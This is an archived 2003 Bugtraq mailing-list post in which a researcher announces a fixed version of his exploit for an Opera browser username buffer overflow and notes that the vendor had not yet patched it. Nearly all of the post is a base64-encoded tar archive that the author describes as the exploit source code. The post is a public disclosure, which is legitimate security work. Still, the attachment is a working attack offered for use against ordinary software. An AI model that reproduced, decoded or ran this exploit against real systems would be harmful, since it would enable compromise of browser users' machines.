[28911] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Opera Username Buffer Overflow Vulnerability

daemon@ATHENA.MIT.EDU (nesumin)
Mon Feb 17 18:01:11 2003

Date: Tue, 18 Feb 2003 00:09:43 +0900
From: nesumin <nesumin@softhome.net>
To: bugtraq@securityfocus.com
In-Reply-To: <20030209163838.73AB.NESUMIN@softhome.net>
Message-Id: <20030217222330.4869.NESUMIN@softhome.net>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------_3E50E25248650228A448_MULTIPART_MIXED_"
Content-Transfer-Encoding: 7bit

--------_3E50E25248650228A448_MULTIPART_MIXED_
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hello.

I found the little mistake in my exploit source file, Sorry.
It is out of the Exploit routine. (about links of "Version.lib")
And I attached the fixed version of it.

--------

Now.
OperaSoftwareASA have not fixed this vulnerability, yet.


--------------------------------------------------
nesumin <nesumin@softhome.net>


--------_3E50E25248650228A448_MULTIPART_MIXED_
Content-Type: application/octet-stream; name="030217_o6unexp.tgz"
Content-Disposition: attachment;
 filename="030217_o6unexp.tgz"
Content-Transfer-Encoding: base64

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

--------_3E50E25248650228A448_MULTIPART_MIXED_--


home help back first fref pref prev next nref lref last post